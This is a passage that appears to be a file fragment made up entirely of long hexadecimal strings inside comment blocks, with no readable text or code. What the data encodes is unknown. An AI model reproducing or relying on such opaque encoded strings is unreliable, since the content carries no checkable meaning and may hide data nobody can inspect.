90da470574f166f4db2524b7aa5aa15826c8b0c4c82e1558e4dd9824b6ba08e218244ddaa92d218ab72e8182dffbb957da887413a00a5db68bc9df3087c5e74f60044cb175645dfa4d26f352463d20d41a71df42d6794bcd530bef4cc0c46cd96dd5ccfeab410a930048ee2122ea2a28a331046154013c2181717c128f72291434bbd38306f23688bfa338f870728358251bdfc16b75ab38328a4d6094d679a1e3b9142d12ff29b0966ea59b138b34e1cbdface23e7894cb818b3e3ac1f8caf9d907925147bd1b1158d0558206cce98a1f2644f1efc63cac35edaa09862fdd6af28557275b3e43992710e566dc90efd110f84b153e2488560c9b4a048c8f9438e87073ed1b817eac728ee9fdef1191caafab291465a1be4ca0ecef682644d1a6e2a82386806a1c43b8737bd583ecc85098b6f41eb2cd9d29facd8e649331589db3ca5e9ac450f9f2a5c5c433caa650619c18a53f2199450b7010f228781eac6fb4d82dd2277232254f2acd46875674df4215735bb9a1ce35318fe6fa3dd7fc1ea8280f19b8962f5542745879c99718b770e24c737f10ffcedf978261d0cb264ddf2bc59bbe3ad55f71bdc897e69b5cbce3f3819400368f18ea0c561bd479121dc3f90fbb4e36476b6c195db388d1a44b4299d3b39282a368b3043975e8923d5942ce04ebb0a9dfc3*/
/*ce49895030eba7dbef70ff0bcba6e41e1e0762cee89032e8bea08aff090b4218c76a8a35179ebeffc065708ffad682db7dcc205c6678914dcdfa3a88f46f5401983974d30c7cdd611fe871a960a34c36e64ec0ba8f7ad94eedcaa2f7d54e1327d32366be2ed3f9989c529c264b9131c6c095d6f65a32866372f3ceab151da6c44155ec0f8ef48f14394404f7b205b8fd1f704696a6ed4bf3c9909384f1f9925b299965cb9d835478a740b2bd388774b13d6f2a211647114128164aed8750e4091b01effb6def47998b894d834bcac0562afbce351f23d1311dbfcfea56a4da9a2b13bed0924e633fb4e8232a49fe21f3f3611f18c63c85ea62dee9f958ad5dd70d75b2464b0626fc17d4cb9f0a43a9b81e7c4ad92c30e02ab624e15abc8fdbf26c33bfacba0e8473c76953c6fbddac7c939740a6d6a8c8dc7ad86e4fb060b2c24f9b63cc6e1c124e4dc663ad808e5d2bfaba58d4471f7eff40e82d3384e96abc4d481d2ad3a651c621297d43e70dafaa8f2d993fd99f4c416afe62143027b809a9ff40905876ea97eb4d73000faeee846903276e84998f9d3aeadfc484ed942ec0b615fec14022d536ddc2596295bf29f11ca694e57015e79baab40efe1aec3f08abb9ebfcdc9fe670d46fe327a3d8ce6a137a1ec877002af92310807db7668d8fe3629e218e9bf08cc5a5e3500de3b65010c417194c7238ef9be0d12c1458b163c4d27f802fb17b4b50ef468d0136f0fd3adf9ccec787193bcbf43be3d55a1546a1043cb7cb3fa43b9c6872dea56bc9ad907f046e716157e028705fa1106193d4fadca0abb775653943dc0b5ee51214eb039a5e3f6eedcc4e3e639f0dbb8b6a166b21cf40ea7a3447b66c101606932ca55f75198eb33e63f7be20ab69d51712f36ae227611eacf0ff3e42c60bac01826eedcbda92c19f6bd5a008bbef709b19177630633c7201d740735e8958715a734be12cf3007523e126c4474124ff374d580c965df6b1ea5eb5313c4e0204f873fb598874c01a8055795237bc4f6c34305daa9189e15f6f16ece39d89c4533c7b99b1cdc166a198dcfb0b050521798cf631e886c51a351fb6f862a3530a9bd2f7fb092aeaaf4f4c77fedc465d77a451fdb18f70be900dccc7d08034841d3e5a58117992146e325f9d966520bd715034df54ef733596c93a30a2937cd01551c81b3de1c435e26c944ec09479de43fda7ed306e67ceb1fb511be72b35d5494681d31f2172d93b71aa87d886b2d13693802603132c7648936760126b8f939782ad095cdaa1f8b66f72760d8818fb806de83a6e7d95cd12af08602ed01accd251ee291800a9514b159010ffeae232edb3271a77a787f905132cefaf997ac07c1278e4c124665400c7ea3748c0f27d90e04c8c67528b39ce41ccaaab672323df02b50a5a474369cb3e2978509a30bbbf76759b5bf11c9574f2916dd8c92ed332c553f0447643170ff4f631245ced68f3a0f04e8c842086c29dcee1506bcaf8a7393a370c5fc689815cdcdff691f60a033d188644d4b931ec8db075bc69572e868b7cba7fe532cbcd2b3305423dd5fed9a4323fa7b2ba88ec16edbd1e5ceff606726e7e66c23c8a413839197234801892b53341d7ffb932cafa69c5a7f0fed0494beb513cb3d1c20119ba98b49e16451511d04df262e47c936f29917010e6c9db93ab88accef0d44ea8b5e2f487a7152c942603750d608ce7cd90c273be3498510a88f0965d3c233378b2ecc1f2a02c9ba58dbcbda06ee670f274a83d4c87a94045b96350d3f269fbc5a75741db1e15d3165d86fc73b3fbe3a05dca35dd46492b49eb2aa553ef550c676200a31b3aa34470f44ef731469f78c7a717b41dbd4fffe376adae9c92c5c566974786cc2925d1d03452aa98d754e44b7f58f286051de2541948d67a96218a21461af2e3264b4f3dd65675c2b2cd48f685687fb5283b12adaf9a50a049f82d827c2920906968d1a13399a4787e37ed95b8551be09dd946a626806120e5f5dbf7e779c732473479736aeecc1db759307fa911d054a9f316f8f884ef277261cf475faca6d6f8052ce206edd92a81fa52b21d226b6640d39ecd0a443b5987182174e45e7a6381c13c01915bfba2fa110be4e641ff68a77eb2a24db6b081965d7c171f257584033f86457e38493e234ad6e93bb5de163dff33813243bbefddaded93970fbb04d5510c0770e8723ffc1d582ec5de2a5240b762fd45d625658426966de42d2a14fecd389355bc1e8d6973bf3212deac5d670161451101c06b6b00d67aad17820f2b399db0ec0fb411aa0a6632f0606a23ec8c757d09238edc085289a5878b895233fd6b9593919662caadaa96f3f77639e0b25a8c2a732935b1a8f60334fe959cade72d5437a88c4393095cfcd5ae49f5d3ce0d6bcf95ce284039b6bb59ee0cc874b73f07b7a3c3b2452d00875a021640a3778cfe84e2bc1c57a3debeb1fd8bc77856dd9d4fbc0a414bb2bbaf1cc7debaa1d9afae6cf59daf03f6e01c975591d0470a1a7fd3281f6285a2a7e212b6958bf731fdfa9c41aa5308956c1585eb55d6c9a7ae67004d7b00e5f0be2004da0f2ed53f0e2f08edb6e67f4c74c74fb53b85e25ab869b0cb505d439ee634be253349463bb221464bc58ae3ee21174446c433ae66caeec6a98a64451365351ac9010c4ea418e0f3facdf2c69dc1245f9c6957345cac11da6f33dc970fdf8e4d95a36df43d05816045d483bff79991c16b2af7074a03764df35b7ec4d02f4f17fd120522224df146ea2f12bdb6bdb190d8c9bc41c8106c909073dd4c190557dcfe2d549357dd31fe05*/
/*6f2548500160b778a8ebd16be2fe7baae6b5cb2b0618c59e07e46775afbb7482863e2ae164b86fdfc90f286a5e6d3a7d7188e5844c4a0bfab0510f971c5bdac6c0c2fb92d84e9062045af69e21bcc8e485598a6ca5af243c37eb55cda55d37883d8f883a7c9f75e03c2382e89c06ce2965c471c3c7dad47e793fa08f62e80ed0d6823f84874648d760a926b0ea2463f25b6aecd6c60fda014f34755e6cb8656c62932542d3165c8dd31845e579a3d7242c5be7f093caa26fbee52ce119179d62e224cdf70f18a94ce9c859689fd485d406a7929071d9f9cb98d3863e4b98c99f48f347275c39cd7caf5bb533b7368ee9d558bed33a2b0adf057f7fed1198584b50a5236c142e347c95cf8fb2e7346467bf325de19015558f51ea87f4ce4a0c96b08205a3f0bcad5a78ed18600939daee78f49c3c3ff5edb51b0855cb4ef892c6beb47430c6d023bb5242e5f298b308e61a1284e21cbb707397739b9f60affa0510f1fd0bf66cc26bbc0009ba0d684acc161cc00f9b9064bb05a0d8c28200d629bb9a9bf2275e273f088337922b9a44d96f1a7657e9159c83c8b9d1f49c2b5c22595444db93b4e3cc64dcfc47fa3a2742cb45c721bb295cf2a989699701ddffea5d39fee4a7ccc96dd12f54b0948201bd655f936b684e753036f15310ae01e3f4e21c4f3d5196200de705f0778f1be8692b5c74c6834a2d42a771a1c1f4bb24563f521232a48b0dd100d866d9f36fd95fd1476c9420ac6ba4ba401b7c2bd92c9d621b74aa015410dfafe76212f0a31ef5d538754dd438e9a3cf1dbf3a3b28b88308e7a78ccb411a7f135b4518d7923a8ebc1f18733d02c2b1366d5bc708e780fcb8422ec0370687e234d52d05a9bbd3912cdaeca9a435d79474f485318aaf250533897187b7b39196af216b1f046c005ae982c54d51a4499f532cce97c03b7dbedd2ea63bd317e58dde7ae6688555c95fb377ca86abd3b137546e9952f8fd4a0117b8c70464042439945fe2a892925cf9fe6d5b3b624284150b8342e612dc13cafe320c50ae07b16bd888a1f4b1511bbaa85112d2e8e2ef1c7ef59e658748678af10ec56eccc8c98d9f371b4c9c8923fdfb013c486f3c9f9aad6819127be996af13115c9c5468cbb2ff12523f00dcd153eee225daf092aca400a4b17b127ea131bfaf43bdc0e99cb62c4eb9028e30c633c58bda4e5f50df5213e4cadc2c31c539477a6d796908a8c1a3f22f1dfff2c62eb67429166cda251d26ef0ac2d91947c2196358b0499133e32434973eef607048a328a6351782b20aa4c0db7e126ce0726c7f192a7e0d399008e4bbc45ea17877d6fb661cf000e24db1195e70318b9f1901b39dc8af961b8cdbe8170e5e99adaa633d02bbc845124e2bb52bc01e63775ef814ba3bfaab7912eec65a935851f008ff52d1991d528b90c1743f4cfa2f471a459e3277ff45f86bf004b31e1793936f6fddc4886ce6e7d76dcc4000fc41bac153e3f403427b1f494cd956244e77e3bced341dbe34b7b0265eff861396236b0213c081f9a0b3eb81009df423385b0e0a1b2f44a02218a9ec8f9a0404ba171eefb500bccd6a0eabae8b9eb41a1ed6d344d5a82fac40f5f55da523dac0d844132b9d94079ef678602fcd27a52b303f41b9e984914c6f2d9e7214954d215a6c5e1b584a7a9ad2743610e1107b1c64b0f90d12c99e87d5da6bc149b33093f40bf66f018b328998ca159cd2eb0400351b53696f28620fcc74200fada74e34548d2fc13ced4eca725147e97ebcea520e7209dcdc70924220a667a3b0aee8f40cafc6ad80a9e593a8d5afc587e09ac16f7b8d0e934180aa50b33f1bce4819af0eb4ad148da8ca67c3af83d7001a63d3f398bfb05c05930f61d8707865c6ee451f34c65e680c8f4d5b05f03c7962cbf747f2ff10b98c40d623753aace430cf38ddb2e16beae34c9027960cbf6217098a26e4e8d4dc2057f9e8534a8d328f507f1bde2f3f08f81126511b6626636173e808c8b45d15423b24838bb30961c78f4c26909749ae6d451292244b69878d46d266bac9fb828c77fd19b27d57cd5cf520694c61c420dfae65a8892c8e21f9155dec548751eb93b5356d68d293fe0dcf80ac5c39246a9a0afcc3f6ed920f679383ddc1fff2a16b8bfa22438d84dff1521d251f5ebc59e29cd7cc30e258926e4f94af9d33ed7556ab0be2ebe1b077894dfbf73921123f59b8a229e1742055196be7c488a38002db5ae9e8e209ed4fc6f77c3cca205689760959eb95a38d2122937ae03770bff61af3a4e1d73b5db22aec013a1e5545c7a674f025067087699306dcdd5a18ea53c6b908c788926d058dfb9f49cfbb1f4e3a1e6f612b8b5a033afd4047d3d4bef6b783c1919bf73a09cab4e560c8a529eab949ee03509c86cdefef8b857836837da7679f8a677edd16cf73636bbb837f3a8c819f33af6dddf5ebde0e6504326b9481411a0936454bb5fce5df7ee8394d5f1725009a124d7d1cdf0981a91e96d72e59140ffadc7dd99a043a6664d77058b3c1b9cd49a675d2cf513844d54dac340cbbc4b7d8a5d16924f06bcf8e1dd32a697ae795ee7998f9516a09679c31cd3f4f73e69961a2c94db7fc07e207bd446fabdbfa89dcbdd29dec0033390208659f55f70d6f6e816a15f780a004921599bf8e9977fbe92962303307b5155c6785d13214cbfb1091fbf170e73cae17e22a790b74f65fd9d30d2b221160881aaa68875e05887c818db05553f729c304cb8888b147ec4d522df6205d5a040d1e7498fd92d728825408d88a80d8b16cb7639048c4bf883990dde60ccd96262dbe4525fb*/
/*c6ee2a4259e8d4c3f1127d0b53cbb2a80e52d039e9b4d4846ffb44a710dbbe6d6a2bab2944c84e134ca1ed3a3281fc546e6931365726d37ea4e0fefbb2c2b5e7f6fe1a5af86975a8dfe6914940dcda423f5b40ea2e2eddcef99ee940ee61ea596a81eb505eb521945463304a1a1b7128d99c4653a280c69bd3182c9ff3735c9715b2c8fa56d40fb3dc1e1b19d71920dcb1478f0b56587b50ed498762ed861ca78e5495fc9ac051250a7a238c4d42b67adf528df3f9ba4c930b0bf9bc1f03a35ec0abf5ced2a0e4fc44261e988a6e4df60806967ae1e8931ef3fabb83a7ab3aa61f8ecc1c154d173b6064603f1ad33c6932a2695a1a72846442194f8f74effd64b2063965be72a5679a5b32ca5a44565617ff7ac08953844341a3118fe96a119a9e648a32b3fe1b9435c52bb4cce81c0fce5a03d8be664f63de01ce2f86ffca45f181f9818db922366f1a7b454395c7faea9cd829dd9b2e1102f04774bc3d8c45be932101639a19960c38fd855f7d4f6ae57f83881b2587f150d7ef322cfc664f0a2c1d7e093d9c7ad8fe39c57a5c6cedf647bb873d2c9436dc0bb48fa1548a892575a2955c2287c341e87a6cd9f24d4c3776f36815a9c9dcf9f95d197dfba57b344e7f9cbfc65abbceecffce504b56d34485c3b4491bab61291dd4990fd0d008c2595068f9e965472589f9e731022d8fc3a283f1d70575599afdf92c6bb7297bcdb9c2dadce8ba2ac35edaacca402d1708b7e192756b77630182ae973bb44d734307a600a3766cc6fb1a61857c486cf324f75ac7ed6a0249308bdff7909422a1bff2de1c53c46af4e0da2415e51e9b2ff38d2c1f2a0cd00e65a05cedb9eafaf4806e7afdd3cf4e2f2bb0391d0040e145e6d0736c105cfdb434aaa97cf5de4a46ccd9908d6c0ba2602a7f5c23b5576d7415b12a3b3bd866d02d1caae8db03b8313089b0a35a436ab686a8db40e8c848e949706e61c859afc03cb57cd468cc9e7c62d00ff697ecb2ca18487399cbc50dae75622dfbd2d5b5134bf68ece258bc4226394a2ac731220f5ef6e652567d9e950e21ffcdd67dc2aefaa93e9a0d8a4a76e93989125193c4bf931edfececbede718a8bfe4a3a7e7cb48c5cf6ec8393a4da4b5d321a991c9811b0cf32fe0554b16d5c0132c45120832646032e3fec793bfcfccbe14f94e71e32a4e0bb4e7fa691f9320ce41a885f89b791513976fb965fe1474fc2654866673e85512584033406d28a7a4b81a343992805eb673d8d380f97627537882f8b48f3378fe6d0eb84f1a3dbd7aa024f61df8fabd3ca5324ff77530be795296e8b88d989ce5b95d681b6766fe4823840a3475bf2ef2467a6c4ab206a36220cec8981b94cbf6b33e6591d15e4e7301a46bae22fc6745e1ecba9da44b8e72fc41b3019401b816f95d62f4f005843ff455c5e47ec4f07d3cb8f27890870e67b7a0fe9273ccb5bc81938c8324649ffa712f9e7c1a67a11470ef2d71b623ba82f66b7ca0beaae7e1fdf85a2939bd4e6a82cbdd3f97ec5effc4f885b8f0f8f7eebd4c8fb713bc913c8eb37da4432f6abe5dc4abc1000c408d2f4b59a41cb56056798b92bb9ddf487dadadbc2be53bec72714b1a89b79b581b576fb4c4226eb3585d80cc7b6059c5f187bbf2d1686ac0e9c872471f86fd8e3909a33f6cdb1c4e0fc2c97a9d18d4137b7b1b11657205958de6390db6530c908879298c3ee74ea2fe21c1a199fb74ef493abdd4dc8d47d40e9f5b0658dbf390bd48c0c13014210217047fd27e360a6c9a1688efe364b7aaf2498ceaa73e15acdd358ff165a560cc46de1e80d5d43885a808a4b9532c2a3561a0402ee2195145e3bb886ffef9a16a1359a24e92ca5cd16ac80fe7315a934f08996cfe66668087ff03a75dc136c5ab3f51841f9987b89353f21f15b47c7628ada986e94f4d84ebd344de573845ac9cab0ecd9d687ee84ff53cc5d5fa78d59fc95de94f330c3ed1e27ef6d00d791e772fef6e5e698d073f07c381f79efc5d2dbbae5425346f8cda33ae43c3274f8d01c9b468dc1956975378db8dfaa7466d9ae32af1716f0751ab98594c578fb44e9ad4ae6e5a22418e48ccd59b0986c1123dae232b316b31ee27079aeb6c1e5c437afd175d0c6d1268cc391d0d544c4a69d35733548184db3a7e5dd5eb92fd3be84a5ecb6e7e59e426acb32690322a915bfe361f56b1b691f61f195efa35d50c0ac126f4ea980de1c9355d92ccfdc1ebf71b35eef4347e9451774024969fdad0f5e7afa20dea61afaa14527b7d94a897cc3041058e45ce1d60f0b7a71bc094710a6f360ea61f9ba7e87bac1eb5cbff55f1ecb7e779709a6155c5bd337db6d3fea0e4a6372ea8b9688d5b7b7a818727f4978af991d61c10d0be2e6827349103626837458e4a22e07aacefeed9c93055e609cebc3188ee7137ed863fbbb2acb5584ef14a99b1a170a61ab56bb42d46afaebe82bef0e32b2c96c7768247a0d35d1dc13e2fc6755ab16b1c739c31aa9850713335dd2c7bd98914e82775ca6d7441198770418033c54fbcc0ed53d1e9b4c1d0b5ab49069d0782b0fa98e69c9849d7d6da5b5c77acb8481d4f59fc0228fa8d6970b849ad1ef70d26b106eddf88f1c72658199940222361392b9c62ac8e77e24b03941b809204378993f78b3ca14ed86a9f0a4fc0487d2df6246bd9cdc0ae00ee3ce696b86205911fbcf86a2c14425c09e2dfb00bb4395bf6e3c124489dc731c50ef2c4c938098d524d6e0acb30372acae001d4bc85cb2fd8c5239298f6f7c39166dd373705e4f1d880b0cad8da6586c1e942839355785452a694babfbdf5e4595a*/
/*3337199083623b42c488e3e325c9145c44d0eb41fb1e4be363ea5ad6e97ece03b4884a00415d0a4180ae0f3bd16c0cfc4192ff70e96752398baf6f3ba298599894001031ee3cb2a6a097fa4e1ad0c90d223bf83c689c997b5b3f06e0da97cf75345c2116d87ee16a07134e3b024e65ecd272019d44eaada7ed53b9a9cf8c64ac948ebbf15ff6452fcd701e0a8cec9d79881d0a28f9f98aa8dc4c5642a7f0154f838ddf684c0db3c1585d0fdc9ded1cbe8191324e50ae44051000fccf8b70a887e7b08c8b7356faa76c91b2b80e6351f9cf0462185c5549a9a4b580f2c411865bab5bdd9682c027c328d1a04fc5329a3e67d741bb7405960f9428a271f539a2dad76a6dbd331d6c144b55467a60cfea90c2236f54de282c009058cc29a5e3a71ca375813c9638556016e4cb4dc4b29e96d48d7a5f698298f8c53546422eb7781f302a73bd73c02aaa4f8735c0c62a65159fbd50b0851c21038b49d6d4c1ba2a4d7b62052f12518b976f091ba550676211ec80610dd3aec7338e6f97a2c1a0acaa30fc88ff79bba2721358a1b0d19b8d0483462b00ffb2bc22c8ca9a945fafe0b929bdee5e7c2a914041cd7f8944f13d6ce80297b33aec1c5885f81e0a96a2498ad0f9770b404767b95481c4b15e51e98b97ada7b9630a156c895fedf492b4e19d7de3c1bd1b1231d903120c49477a4e85c6cda987a8dafebf7c9f62c8c60497b717058431158fe20636a53f0b3c2cb321688731dc1cc391ba4ad3936b8bd7058b81352f87476658f9de4bdd53e8e79200cc1c2015751084c30817763092adecd2e69a9dbf3a0602917bcc1d767e705f38843c153a0c17eb8bce1a542951c32ad7cead55fe37ad9378b9c55839479db6a8221fe44ce4e7f2b60beb4182ea8e464efff398a520aca7f6d7b8b1c91a980de1449d1b76c52d82564d0a9adcf415a2b80e6321b31dd4650612c8cfb50a0b32d0877660c377ec1c3b91ef23f1c4701688eb384d5ebdda54673aafca7952b2200e5790a1c188a339eb5e276476c0a6fcb1617dc901d2ed44cb967d42191395a695b3a538d48991dcc47f52edfe09e2b6dcae80063635cb5cb0941ef1714f3bb8f05c2006204566aa9697d74e0d65c344e71744e2da237987695c9dd5c4cfa25204c814c0238a7b3bfb5bda4ddab39a034ca730170f8944011ce9702af1a58a9da6f4abb581a6d9780ad42fb158f6e6274505ab70bce66263b2d935bcdaf55dc6f934b702bcb03c7215c55121cbc4f0774c109a84d5976cc400771bc5d7ce4c62d8e9bea0fdf190d4371ad5452a80eaa921a80bf5e89961517c7fe5abab6923af587103f5efea87567b6a0d1bec9520f0873d4c3c5a12ecad3a83b7727c4eeea0f6e69485223d39c468fe405d514e404fb08373152c7b930103c48bae23596334bc7fe27c02ebe8383dc1ccf9ba4edb6757f0886966f63c2e6a3edf01c78c1fc36a7a27148dff739f1305c016dcfea91801122fd54242b984561676a926149c07472c03f8b72725780a8d2b5799da3a5f3e38321a9e4b29dd38e23ea28c0e2992a5299fd8100cf5acfe07e71b1daeddb7ad95385267ee69fcedd483220ae8c1f87e4e53686993ab7e52808cfdae1c3eb47b583d6624998e71cd86c367fb8a676f01c143c2f5be0d67ad930c7d6baca3b7dd345c41404f40292d0914d785ffdd02180f487c942019535dd9aa718fe0b8de8ea74cfda041dc73d7a7c873ec85bb34e319d2a2615f7ccb48f5ab4f9e8d33f3896ac495652f4e2926f7e8615abfbb1ceac7ab2ac50e10b1da399dbe4277b8dd2dbf172368b0a559a2470cec6799e092120b06ff7413b768c00fcc6ea46c5e6ff68fbed06eb0dfb42157a6145441d598ab7e30d01d4ab365f2bcd0b0f058ba903da25b4b991542a3ecc1a0fc59cee468bcfe732eff91a0b9cfb65a8b34ce9dd292f727261d7b87b506c04caeb65535b05477a0d40f9f97205a44ba55283e991bffa13af82f5f15c8ce33e2bddda576610dcf43060fbf44285166d18ba4d48a7463f656e76cbf3d7a3cef295907450acaf4cceefcfe71cb68373290e4c72fc0b0c19deb0311b658be48253a48493bd88daf7a2fe3aabbdbe67f41a9ce1114e0aee5c5733c335ef454dbbee70574523aebaa9e6ba467d2e7a46c2d67d31d62f30a77bcd8d7ec9bc46b66e0dd3853e7027d30fa352f46b7c423a99bb9a224f34029fb11109e1865d160c71fd06377981b32e0cf0b2ffce2028d9505a15d01398b2452cff6a6e6d5f6a35c09ec58e2270d9f64d04643fe6a79af31d4864209b647f9e6851372e5e0b1c80f19393eb5d1a0c86ac2685366bfdfa79816566017fd7dafb1d56f70ec32b73f787d5ac4113ed0c2b8df0aac6463871a521119b96f5261ac59c74642ba693571abe3fa1529d912c8357369039c9f5ffd41e4ef3708c70c6822eeb54e373b7acfd282ed533a22cad60c1b208c836a084529d30cadf6927d62848c61793e0a688f228b6b7bccd22bc2031da5996e3570650a00e3e1acc5873607cec87569be665a2da544024dcec3fd6f2deb7a7be8802cdac4c9197f6c070021126da9105257ad25000e853af0494ffa7a5a93aab5f1f0e4c03a20e354f0263cfb64546db0f76fb9052d27e3cc240ac0fb0d694995b770d0d6b8036e30878859a696c34629b7f6e9ed6a84e9ba80d118e08db1828adb992de18c22ecc62a1f7474e76a0f623790c4ddd090a0357f631aa77dd106a64bc29f76e154bf717df4318a931732d36802ceb184d1fe1414592b74411261960b869a82d1c94a7c59147cf6a569b3b848e1b32aa34c3ea4a33e84*/
/*7df5a187aaeb9546480a475385ef3a7a249cec62d4010c7ed6881b0e4432d5bf8ba31172ec891d3b296734b4d32e13e656fd5158b3383b4fb64ddbc7923584d253e6b30d3be989d58dbc64c701815dc70d07ba3bab8128266d4d6b2271859ff54d716ab1455245cb919a5c2b4c347e62602cbeeef51a387b7077f97da7738cb99ee99f4d5d0efb92bca1fba4fea3e01082994b965002621b67968843c498714eded900111d68bc59195cb0ebf435dfd5baafd337a870af655349e9da3910363d50dda582bae36fc025fe9982b3498a21ebe572e833c0f25ff12b22d3f8da080986e4eef5581dcda243eb90f89cc8f451e7e7cf70beae9bde44cacbcdd85f23d48491c3e83e6dd124dfd5d53ecc6e8e168fecdd9b64760a109eadc2a31ef369beaab8340ed12a52178ade3a77a5d768f201128103f6620810f2f45006fb1d58f7e41d3d29d66b0f4f8bf92f146542ea918504944c3b3f20d679347e252119435cec9c6c877de7232dccae0a8f9c1668c1e2ba24469baf15d1f9b212e4f43d5a81add2ed4f3bf057ee5e87bd2efb33ad55222dbe69f9941211ad88059005207304579aa5bfeca60491bb498d851491c76d22dfeb625abd2598dc4351768b42e5ede4adc29c539f1767f851b87c9c99faf5e7ffe15240b42d46d72eb35419c153a44bde0e9c394da2e0305a153d234a24d845e28fa3b8419a42540469b041ee99e221d6a7b02b8cc7cf08ef04efd9600b0604b1cdc12d32ee405dccddc39a0dc7a25de650ebed2a1da574752c4efe0fe7b7b716e27073df074a2da4a9a6ae2cf604a482cff22a68dd041f7e286f1d12734245eb0381ba3b57f5100f9544d5249ee06338aa011d23e77d8d3e0a7a1c85700863945d965db094d81f711d181b93d2d9e13964ec9a4b7340379c300eb5c9245fc4fb01a6ae1f06a30af4086b8e2f96fbf6517c3d097a36a991b344e2f727bb154f4dfe0f769920cf99d5d2e076f4e1e78b99de72583a6072760c51c350db66bc61959a47240e4a496d8a08ce631adcfaaf3951dc5f2bd766fe33d0fd4d527a7e00af036f8411c7b1fe9d3f48d62692ff570db1d7094654831bf953fa11d948741c16aea61a1f7d6a5c4ef25a69c6f07a766efa7c435fc30614df46c23e3b80a1753a03e528b551a814ac9d55c792e306250160c284ba239c3613f55363e1a82e99f3c5950d3e5c83fc13d9ede8a5ee19203272b6a41749c803dbe50d071c4f942fe29011f3603bbb8fef08472c04bc4f09a76e75e2c22d278df956b43d1f561a9cce6b2330e6e98135cd7d0f5696c6060636b4026fed0b4c32fd25ed76b5e72de2914c9cb1e70fbb9bcf9f5c08453f383d336e76c10e42d35dc4c8c2e40a38c0abe6e141a923a8909c529105a9b9bc1c5c18491f95a3bbc942be9dde327dbfdb79dc840c482f48f57282497c06243ccc1f3d3634bb954456afb7fcf16a65598312623a48385a9aa26bd381b65b7a6fbbf405ff504e32b1b3d2015e9bd8a5f111132b677ee6b80cb6235df174a4bef6d5cf4206f89ed87aaedb9de9ec5e4daff352d943dfd718fd1b50c545e15dda122df27089a28857de51bdda097653a359afb86c085333e40955e437d1cda191d237bf99d1c65e7593229b2fe7687f6157b7352ad09fd0d1f579b969f3dc602e9a489667b0c8882aaef4f15c67f63b552c0c353916e1dee2c9e72fb3a91d67e908df667bd62f924a2f593ff6b44a434849550764c43c95cc0ad0369513b41a1aee0b0dfadf25ede16d72bdfced3a026274dc81a7f64b0fe9272290002fd849c2e62b57df05b6952c965bd516b6a6c80b90742dfba7362dd76e920c1d156244c8eccec047a9e639fccbf8332dabde1010f4d377b46ca3eb310536ab4baee0c441e13dfaa558c4f4d8ef18215611d7987a102c1e67b8e94b682ec3b35741c1154c094ada299b4d7a8e2735954bd6b598bc35e63d68d41ad6c885cc5df02fd0a9647baa3eaf28008eacb06f4c896966b99a3c880c2c1c850515354d530c2e0fecf380fe03f67a615b643770b794bbbd25af4d3b782d439c6e19725e1f0166a1fd7b0a88394aaf305d1f5a0403058ca0f19b7643fce8103611ac8956ce7620157dc690374d7007ca0b7a96b8368d195b48801c6fd94c1ac9a9efa9927dee2040673e88fbcf29ccd6bcd680af908fc6572a651d355a7069eeb33843c3f0aa203ccdb7abefd194c96b11e57cb76d634a5af19b47b1a5e03c499f9111ad5dbd1bda0ae4441783f39ed46affd73f0689442af9dd11956fa1ba47b4af638e5aaf1ac7328a2aeb70412b5d45a790a027dfa57a9b2b7133177f88f4e22255ea8f8b635deee09b75d8979b9e0287c1c1672dc6004fa83ac8b85d762b85fefb059dc49cecd8b69075d4882dc686e47c624f3b1997ffe6d45524b488a181e3addcb50e76bef32cdcc99c02341da065cd5d6758de51c91e99b996f7c7ed40fb129ea9e1d1736b6e83dea9bca38d55d2186a7b9f09124c28b6c35b06a55e777d406d03f8f956fdc44e76889e2f72283a0858c633f9486ab23d06be6275630bfbcbb8f3645f51b402cf63b97bf237f204917a83f24c81a2e673ecbd0af9b837ed37b92125de9868216b7aa87d48708873c358950167bb0208965df7844fb8fb2f42e5c68d32e1d8cd1e06d7618c16cd6f20f142958d7598f03c72776b05270370b4b57ec23962d690cd7918f212fbd596d9f38536421dc466ceab73e3a510d332f67c3af10ad379afd3fcacad78e85a4e69d38428eb0fb654c6b0434a62ed29735710c816fe68ccb1197c6af9408e51c3bf03dc3e5b1abe74d481*/
/*47fb9b70397b301831063ba7ec9d1949a2a4330a69d04b5babb56bae4544c4c488b480080f0648d877996ae1ae987d598373f42ae47efa90b468bcda1dccb0ff8a6a9138e38082a7f2c499add3f778f38ca82f7b6f4ba9a58fe9fa0b9eaabef6a97c7b86d1e4030a8292f737703d07c024dd16f423b278c54bf2fdd141c1262c5ac7cf1bed2dbf23875562b716cb83969098db1131f7f28b76f7c2671cc01673b9d8d998b19c6cf3518108eb18fb01ba8329cbc019e38a6ba62ad842642b2ee6c213ddeaa3dff719449abe4d9af7d470c2ab7a4da5d03589b83d47a6f8565cf1a61ab32b94a1f295e2a7028b7164398769998133d6ed756f2950ae03d70d28912b79e6aa8e8732253fb89d9e25989233d9928d8b5ce37c70593f1ef85f390f3e0e3865510af642c3e7ce4571555a637f8a807926a6eefd9d9d03b221d1076c7a2eb4cadb465065660d631f8eecdebd1703f529d613001c45740a59538e2cba0f85df5f24462221faa17891310c4e09c59166aa539e911537ad80a90c3551bf6bd9a51d6969d3c9a2ee21ba32e948b18a420d95e4b8316b5c1b1ee755fa0f2739bf2aeb08c535fe894fd1696aee7e5bde989c8972010c8ac447dd0bf80e0b4fe081a597734cbbed0e3d171777059fef4a2c2cb27cc807dfd14d0d76da53c75c74461d2f286196e744546727b83680641157654033e0a366314539bad3ffaefa768689147d91390a7fb7d31379a15acd77a9ffc4a1834f2c3e37fae9cdab90656f9f52f29d7f86c9437db72f91b571cc6e216a1df1f439170ae0ac9ea3778af35cc70d40e937d092452fe02ff6a60192aa14e1401401cf665c30a27737d5777cf2e0ab4a4a9302451a1dee6f21d651dbdff79eabd8e5921fe7583b6dbffb9b9357a42271ab33a0dcb552d497ba3e5c934f22a5caa7d788fe0f1566f228705ec28ed7353e9996bf3a119ae0b71d7a2532dc29b3771b2bc5691bf4289fab54b9b33120e4ae62ba084b741aa183c36dbd88e778a9c01fa31a1a9fb42f9eccba56b566449a1c554e95126ec482c2811d49fc34e35b41eebab61788950c22a4bf83444228990e81554c2fe5bc3bbb5f54b8f24059dad1a45611aa3dc5ae301b73b802a8a13fad463af925df1898d0751254745188b483e4b0be9ed535f3df9245282b2e945501068189130fc3a93eba2dcf8876045aa46e5816f110c14e62a72e1bafd106a4f9eda9fe7140024658485758ab50d52fe97e887905aa222ebdb67303f4e4b5b108fef79062b8a7d0e9627d718e5427d34fcd19bbc0b523a07742a82c23ca2df41bc99e5cc99acda906f527df08d2f026ae59ce1aa2cab956bc4b8ec59359cd9070e666b41d3551856850b986d9bed5ea29a13ed12ac4cd4a4a23fea4b67abb11ef0ff395b6fe3b66c952450753c73a